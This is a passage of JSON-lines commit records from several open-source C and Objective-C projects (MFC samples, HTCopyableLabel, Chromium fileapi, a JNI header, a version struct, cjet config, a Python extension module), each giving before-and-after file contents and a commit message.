clang-cl\n","lang":"C","license":"bsd-2-clause","repos":"ahmetmircik\/jemalloc,leebaok\/jemalloc-4.2.1-readcode,kmiku7\/jemalloc,cpeterso\/jemalloc,cpeterso\/jemalloc,shekkbuilder\/jemalloc,ahmetmircik\/jemalloc,lilothar\/jemalloc,TeamExodus\/external_jemalloc,wqfish\/jemalloc,awreece\/jemalloc,jemalloc\/jemalloc-cmake,tempbottle\/jemalloc,wespelee\/jemalloc,VRToxin\/android_external_jemalloc,kmiku7\/jemalloc,lilothar\/jemalloc,tempbottle\/jemalloc,yy-nm\/jemalloc,ahmetmircik\/jemalloc,wespelee\/jemalloc,glandium\/jemalloc,flyfeifan\/jemalloc,lvfeng1130\/jemalloc,AndroidExternal\/jemalloc,TeamExodus\/external_jemalloc,vashstorm\/jemalloc,VRToxin\/android_external_jemalloc,yy-nm\/jemalloc,vashstorm\/jemalloc,shekkbuilder\/jemalloc,tempbottle\/jemalloc,dxq-git\/jemalloc,AndroidExternal\/jemalloc,wfxiang08\/jemalloc,CMRemix\/android_external_jemalloc,CMRemix\/android_external_jemalloc,Dmitry-Me\/jemalloc,garoose\/jemalloc,garoose\/jemalloc,yy-nm\/jemalloc,cpeterso\/jemalloc,wqfish\/jemalloc,lvfeng1130\/jemalloc,leebaok\/jemalloc-4.2.1-readcode,flyfeifan\/jemalloc,8l\/jemalloc,wqfish\/jemalloc,flyfeifan\/jemalloc,awreece\/jemalloc,leebaok\/jemalloc-4.2.1-readcode,wespelee\/jemalloc,CMRemix\/android_external_jemalloc,awreece\/jemalloc,wqfish\/jemalloc,Dmitry-Me\/jemalloc,glandium\/jemalloc,jemalloc\/jemalloc-cmake,TeamExodus\/external_jemalloc,8l\/jemalloc,flyfeifan\/jemalloc,tempbottle\/jemalloc,lilothar\/jemalloc,wfxiang08\/jemalloc,kmiku7\/jemalloc,AndroidExternal\/jemalloc,geekboxzone\/mmallow_external_jemalloc,jemalloc\/jemalloc-cmake,kmiku7\/jemalloc,VRToxin\/android_external_jemalloc,Snaipe\/jemalloc,wfxiang08\/jemalloc,CMRemix\/android_external_jemalloc,jemalloc\/jemalloc-cmake,garoose\/jemalloc,geekboxzone\/mmallow_external_jemalloc,lvfeng1130\/jemalloc,geekboxzone\/mmallow_external_jemalloc,yy-nm\/jemalloc,AndroidExternal\/jemalloc,cpeterso\/jemalloc,dxq-git\/jemalloc,vashstorm\/jemalloc,awreece\/jemalloc,leebaok\/jemalloc-4.2.1-readcode,garoose\/jemalloc,lilothar\/jemalloc,dxq-git\/jemalloc,Snaipe\/jemalloc,wqfish\/jemalloc,shekkbuilder\/jemalloc,lvfeng1130\/jemalloc,shekkbuilder\/jemalloc,ahmetmircik\/jemalloc,VRToxin\/android_external_jemalloc,glandium\/jemalloc,TeamExodus\/external_jemalloc,Dmitry-Me\/jemalloc,Snaipe\/jemalloc,geekboxzone\/mmallow_external_jemalloc,8l\/jemalloc,dxq-git\/jemalloc,wfxiang08\/jemalloc,glandium\/jemalloc,Dmitry-Me\/jemalloc,Snaipe\/jemalloc,vashstorm\/jemalloc,wespelee\/jemalloc,8l\/jemalloc"}
{"commit":"1554603f805eb2efb4757937b99092c7aa0d3aee","old_file":"Graphics\/SettingsDialog.h","new_file":"Graphics\/SettingsDialog.h","old_contents":"\/*   Copyright (c) nasser-sh 2016\n*\n*   Distributed under BSD-style license. See accompanying LICENSE.txt in project\n*   directory.\n*\/\n#pragma once\n#include <afxwin.h>\n#include \"resource.h\"\n\n\nnamespace graphics\n{\n    class CGraphicsApp;\n\n\n    class CSettingsDialog : public CDialog\n    {\n    public:\n        enum { IDD = IDD_SETTINGS_DIALOG };\n\n        CSettingsDialog(CGraphicsApp *pApp, CWnd *pParent = nullptr);\n        virtual ~CSettingsDialog() = default;\n\n        BOOL OnInitDialog() override;\n        void OnOK() override;\n\n    private:\n        CComboBox *m_pMsaaComboBox;\n        CGraphicsApp *m_pApp;\n\n    protected:\n        DECLARE_MESSAGE_MAP()\n    };\n}\n","new_contents":"\/*   Copyright (c) nasser-sh 2016\n*\n*   Distributed under BSD-style license. See accompanying LICENSE.txt in project\n*   directory.\n*\/\n#pragma once\n#include <afxwin.h>\n#include \"resource.h\"\n\n\nnamespace graphics\n{\n    class CGraphicsApp;\n\n\n    class CSettingsDialog : public CDialog\n    {\n    public:\n        enum { IDD = IDD_SETTINGS_DIALOG };\n\n        CSettingsDialog(CGraphicsApp *pApp, CWnd *pParent = nullptr);\n        virtual ~CSettingsDialog() = default;\n\n        BOOL OnInitDialog() override;\n        void OnOK() override;\n\n    private:\n        CGraphicsApp *m_pApp;\n\n    protected:\n        DECLARE_MESSAGE_MAP()\n    };\n}\n","subject":"Remove unused attribute from Settings Dialog","message":"Remove unused attribute from Settings Dialog\n","lang":"C","license":"bsd-3-clause","repos":"nasser-sh\/MFC-Samples,nasser-sh\/MFC-Samples,nasser-sh\/MFC-Samples,nasser-sh\/MFC-Samples"}
{"commit":"18b60de4226ffd9add2643b2073969e1dceb6635","old_file":"HTCopyableLabelDemo\/HTCopyableLabel.h","new_file":"HTCopyableLabelDemo\/HTCopyableLabel.h","old_contents":"\/\/\n\/\/  HTCopyableLabel.h\n\/\/  HotelTonight\n\/\/\n\/\/  Created by Jonathan Sibley on 2\/6\/13.\n\/\/  Copyright (c) 2013 Hotel Tonight. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class HTCopyableLabel;\n\n@protocol HTCopyableLabelDelegate <NSObject>\n\n@optional\n- (NSString *)stringToCopyForCopyableLabel:(HTCopyableLabel *)copyableLabel;\n- (CGRect)copyMenuTargetRectInCopyableLabelCoordinates:(HTCopyableLabel *)copyableLabel;\n\n@end\n\n@interface HTCopyableLabel : UILabel\n\n@property (nonatomic, assign) BOOL copyingEnabled; \/\/ Defaults to YES\n\n@property (nonatomic, weak) id<HTCopyableLabelDelegate> copyableLabelDelegate;\n\n@property (nonatomic, assign) UIMenuControllerArrowDirection copyMenuArrowDirection; \/\/ Defaults to UIMenuControllerArrowDefault\n\n\/\/ You may want to add longPressGestureRecognizer to a container view\n@property (nonatomic, strong, readonly) UILongPressGestureRecognizer *longPressGestureRecognizer;\n\n@end\n","new_contents":"\/\/\n\/\/  HTCopyableLabel.h\n\/\/  HotelTonight\n\/\/\n\/\/  Created by Jonathan Sibley on 2\/6\/13.\n\/\/  Copyright (c) 2013 Hotel Tonight. All rights reserved.\n\/\/\n\n@class HTCopyableLabel;\n\n@protocol HTCopyableLabelDelegate <NSObject>\n\n@optional\n- (NSString *)stringToCopyForCopyableLabel:(HTCopyableLabel *)copyableLabel;\n- (CGRect)copyMenuTargetRectInCopyableLabelCoordinates:(HTCopyableLabel *)copyableLabel;\n\n@end\n\n@interface HTCopyableLabel : UILabel\n\n@property (nonatomic, assign) BOOL copyingEnabled; \/\/ Defaults to YES\n\n@property (nonatomic, weak) id<HTCopyableLabelDelegate> copyableLabelDelegate;\n\n@property (nonatomic, assign) UIMenuControllerArrowDirection copyMenuArrowDirection; \/\/ Defaults to UIMenuControllerArrowDefault\n\n\/\/ You may want to add longPressGestureRecognizer to a container view\n@property (nonatomic, strong, readonly) UILongPressGestureRecognizer *longPressGestureRecognizer;\n\n@end\n","subject":"Remove UIKit import to (hopefully) fix cocoapods travis-CI build","message":"Remove UIKit import to (hopefully) fix cocoapods travis-CI build\n","lang":"C","license":"mit","repos":"hoteltonight\/HTCopyableLabel"}
{"commit":"f622310d2f63f1842f986448a67483be9aefdec1","old_file":"webkit\/fileapi\/quota_file_util.h","new_file":"webkit\/fileapi\/quota_file_util.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n#define WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n\n#include \"webkit\/fileapi\/file_system_file_util.h\"\n#include \"webkit\/fileapi\/file_system_operation_context.h\"\n#pragma once\n\nnamespace fileapi {\n\nclass QuotaFileUtil : public FileSystemFileUtil {\n public:\n  static QuotaFileUtil* GetInstance();\n  ~QuotaFileUtil() {}\n\n  static const int64 kNoLimit;\n\n  base::PlatformFileError CopyOrMoveFile(\n    FileSystemOperationContext* fs_context,\n    const FilePath& src_file_path,\n    const FilePath& dest_file_path,\n    bool copy);\n\n  \/\/ TODO(dmikurube): Charge some amount of quota for directories.\n\n  base::PlatformFileError Truncate(\n      FileSystemOperationContext* fs_context,\n      const FilePath& path,\n      int64 length);\n\n  friend struct DefaultSingletonTraits<QuotaFileUtil>;\n  DISALLOW_COPY_AND_ASSIGN(QuotaFileUtil);\n\n protected:\n  QuotaFileUtil() {}\n};\n\n}  \/\/ namespace fileapi\n\n#endif  \/\/ WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n#define WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n\n#include \"webkit\/fileapi\/file_system_file_util.h\"\n#include \"webkit\/fileapi\/file_system_operation_context.h\"\n#pragma once\n\nnamespace fileapi {\n\nclass QuotaFileUtil : public FileSystemFileUtil {\n public:\n  static QuotaFileUtil* GetInstance();\n  ~QuotaFileUtil() {}\n\n  static const int64 kNoLimit;\n\n  virtual base::PlatformFileError CopyOrMoveFile(\n    FileSystemOperationContext* fs_context,\n    const FilePath& src_file_path,\n    const FilePath& dest_file_path,\n    bool copy);\n\n  \/\/ TODO(dmikurube): Charge some amount of quota for directories.\n\n  virtual base::PlatformFileError Truncate(\n      FileSystemOperationContext* fs_context,\n      const FilePath& path,\n      int64 length);\n\n  friend struct DefaultSingletonTraits<QuotaFileUtil>;\n  DISALLOW_COPY_AND_ASSIGN(QuotaFileUtil);\n\n protected:\n  QuotaFileUtil() {}\n};\n\n}  \/\/ namespace fileapi\n\n#endif  \/\/ WEBKIT_FILEAPI_QUOTA_FILE_UTIL_H_\n","subject":"Add virtual in QuitaFileUtil to fix the compilation error in r82441.","message":"Add virtual in QuitaFileUtil to fix the compilation error in r82441.\n\nTBR=dmikurube,kinuko\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/6882112\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@82445 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,robclark\/chromium,dednal\/chromium.src,M4sse\/chromium.src,littlstar\/chromium.src,Jonekee\/chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,robclark\/chromium,anirudhSK\/chromium,anirudhSK\/chromium,timopulkkinen\/BubbleFish,keishi\/chromium,dushu1203\/chromium.src,keishi\/chromium,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,axinging\/chromium-crosswalk,jaruba\/chromium.src,keishi\/chromium,robclark\/chromium,rogerwang\/chromium,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,hgl888\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,patrickm\/chromium.src,keishi\/chromium,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,robclark\/chromium,dednal\/chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,ltilve\/chromium,axinging\/chromium-crosswalk,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,ChromiumWebApps\/chromium,Chilledheart\/chromium,rogerwang\/chromium,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,M4sse\/chromium.src,robclark\/chromium,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,jaruba\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,M4sse\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,hujiajie\/pa-chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,Just-D\/chromium-1,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,robclark\/chromium,rogerwang\/chromium,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,dednal\/chromium.src,dednal\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,littlstar\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,keishi\/chromium,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,robclark\/chromium,markYoungH\/chromium.src,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,ltilve\/chromium,ChromiumWebApps\/chromium,littlstar\/chromium.src,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,ltilve\/chromium,Jonekee\/chromium.src,axinging\/chromium-crosswalk,M4sse\/chromium.src,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,robclark\/chromium,nacl-webkit\/chrome_deps,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,robclark\/chromium,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,ltilve\/chromium,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk,dednal\/chromium.src,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,jaruba\/chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,keishi\/chromium,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,keishi\/chromium,rogerwang\/chromium,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,rogerwang\/chromium,Jonekee\/chromium.src,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,keishi\/chromium,Just-D\/chromium-1,M4sse\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,jaruba\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium"}
{"commit":"dd9777220347843feb5f74e2d48ae62082936649","old_file":"jni\/ru_exlmoto_spout_SpoutNativeLibProxy.h","new_file":"jni\/ru_exlmoto_spout_SpoutNativeLibProxy.h","old_contents":"","new_contents":"\/* DO NOT EDIT THIS FILE - it is machine generated *\/\n#include <jni.h>\n\/* Header for class ru_exlmoto_spout_SpoutNativeLibProxy *\/\n\n#ifndef _Included_ru_exlmoto_spout_SpoutNativeLibProxy\n#define _Included_ru_exlmoto_spout_SpoutNativeLibProxy\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativeInit\n * Signature: ()V\n *\/\nJNIEXPORT void JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativeInit\n  (JNIEnv *, jclass);\n\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativeDeinit\n * Signature: ()V\n *\/\nJNIEXPORT void JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativeDeinit\n  (JNIEnv *, jclass);\n\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativeSurfaceChanged\n * Signature: (II)V\n *\/\nJNIEXPORT void JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativeSurfaceChanged\n  (JNIEnv *, jclass, jint, jint);\n\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativeDraw\n * Signature: ()V\n *\/\nJNIEXPORT void JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativeDraw\n  (JNIEnv *, jclass);\n\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativeKeyDown\n * Signature: (I)V\n *\/\nJNIEXPORT void JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativeKeyDown\n  (JNIEnv *, jclass, jint);\n\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativeKeyUp\n * Signature: (I)V\n *\/\nJNIEXPORT void JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativeKeyUp\n  (JNIEnv *, jclass, jint);\n\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativePushScore\n * Signature: (II)V\n *\/\nJNIEXPORT void JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativePushScore\n  (JNIEnv *, jclass, jint, jint);\n\n\/*\n * Class:     ru_exlmoto_spout_SpoutNativeLibProxy\n * Method:    SpoutNativeGetScore\n * Signature: ()[I\n *\/\nJNIEXPORT jintArray JNICALL Java_ru_exlmoto_spout_SpoutNativeLibProxy_SpoutNativeGetScore\n  (JNIEnv *, jclass);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n","subject":"Add machine generated JNI header","message":"Add machine generated JNI header\n\ncommand:\njavah -jni -d jni -classpath src \\\nru.exlmoto.spout.SpoutNativeLibProxy\n","lang":"C","license":"mit","repos":"EXL\/Spout,EXL\/Spout,EXL\/Spout"}
{"commit":"5edb41c49e77f1174d177c18765117d95d8fe626","old_file":"Settings\/Updater\/Version.h","new_file":"Settings\/Updater\/Version.h","old_contents":"#pragma once\n\n#include <string>\n\nstruct Version {\npublic:\n    Version(int major = 0, int minor = 0, int revision = 0) :\n    _major(major),\n    _minor(minor),\n    _revision(revision) {\n\n    }\n\n    const int Major() { return _major; }\n    const int Minor() { return _minor; }\n    const int Revision() { return _revision; }\n\n    }\n\n    std::wstring ToString() {\n        return std::to_wstring(_major)\n            + L\".\"\n            + std::to_wstring(_minor)\n            + L\".\"\n            + std::to_wstring(_revision);\n    }\n\nprivate:\n    int _major;\n    int _minor;\n    int _revision;\n};","new_contents":"#pragma once\n\n#include <string>\n\nstruct Version {\npublic:\n    Version(int major = 0, int minor = 0, int revision = 0) :\n    _major(major),\n    _minor(minor),\n    _revision(revision) {\n\n    }\n\n    const int Major() { return _major; }\n    const int Minor() { return _minor; }\n    const int Revision() { return _revision; }\n\n    unsigned int ToInt() {\n        return (_major << 16) | (_minor << 8) | (_revision);\n    }\n\n    std::wstring ToString() {\n        return std::to_wstring(_major)\n            + L\".\"\n            + std::to_wstring(_minor)\n            + L\".\"\n            + std::to_wstring(_revision);\n    }\n\nprivate:\n    int _major;\n    int _minor;\n    int _revision;\n};","subject":"Add convenience function to calculate the integer representation of the version","message":"Add convenience function to calculate the integer representation of the version\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"6124cff77065f8dbc06ba9a381286155d199ce6a","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT 7899\n#define LISTEN_BACKLOG 40\n\n#define MAX_MESSAGE_SIZE 128\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS 100\n\n#endif\n","new_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT 11122\n#define LISTEN_BACKLOG 40\n\n#define MAX_MESSAGE_SIZE 128\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS 100\n\n#endif\n","subject":"Change server port to the correct jet port.","message":"Change server port to the correct jet port.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet"}
{"commit":"58891e06f5ecae32726cd126ca5e66f5f9e33485","old_file":"core\/core.c","new_file":"core\/core.c","old_contents":"#include <uEye.h>\n#include \"core.h\"\n\n#if PY_MAJOR_VERSION >= 3\n\/*\n * This is only needed for Python3\n * IDS module initialization\n * Based on https:\/\/docs.python.org\/3\/extending\/extending.html#the-module-s-method-table-and-initialization-function\n *\/\nstatic struct PyModuleDef idsModule = {\n    PyModuleDef_HEAD_INIT,\n    \"ids\", \/* name of module *\/\n    NULL,  \/* module documentation *\/\n    -1,    \/* size of perinterpreter state of the module,\n              or -1 if the module keeps state in global variables. *\/\n    idsMethods\n};\n#endif\n\n#if PY_MAJOR_VERSION >= 3\nPyMODINIT_FUNC PyInit_ids(void)\n{\n    return PyModule_Create(&idsModule);\n}\n#else\nPyMODINIT_FUNC initids(void)\n{\n    (void) Py_InitModule(\"ids\", idsMethods);\n}\n#endif\n\nint main(int argc, char *argv[])\n{\n#if PY_MAJOR_VERSION >= 3\n    wchar_t name[128];\n    mbstowcs(name, argv[0], 128);\n#else\n    char name[128];\n    strncpy(name, argv[0], 128);\n#endif    \n    \/* Pass argv[0] to the Pythin interpreter *\/\n    Py_SetProgramName(name);\n\n    \/* Initialize the Python interpreter *\/\n    Py_Initialize();\n\n    \/* Add a static module *\/\n#if PY_MAJOR_VERSION >= 3\n    PyInit_ids();\n#else\n    initids();\n#endif\n}\n","new_contents":"#include <uEye.h>\n#include \"core.h\"\n\n#if PY_MAJOR_VERSION >= 3\n\/*\n * This is only needed for Python3\n * IDS module initialization\n * Based on https:\/\/docs.python.org\/3\/extending\/extending.html#the-module-s-method-table-and-initialization-function\n *\/\nstatic struct PyModuleDef idsModule = {\n    PyModuleDef_HEAD_INIT,\n    \"ids\", \/* name of module *\/\n    NULL,  \/* module documentation *\/\n    -1,    \/* size of perinterpreter state of the module,\n              or -1 if the module keeps state in global variables. *\/\n    idsMethods\n};\n#endif\n\n#if PY_MAJOR_VERSION >= 3\nPyMODINIT_FUNC PyInit_core(void)\n{\n    return PyModule_Create(&idsModule);\n}\n#else\nPyMODINIT_FUNC initcore(void)\n{\n    (void) Py_InitModule(\"core\", idsMethods);\n}\n#endif\n\nint main(int argc, char *argv[])\n{\n#if PY_MAJOR_VERSION >= 3\n    wchar_t name[128];\n    mbstowcs(name, argv[0], 128);\n#else\n    char name[128];\n    strncpy(name, 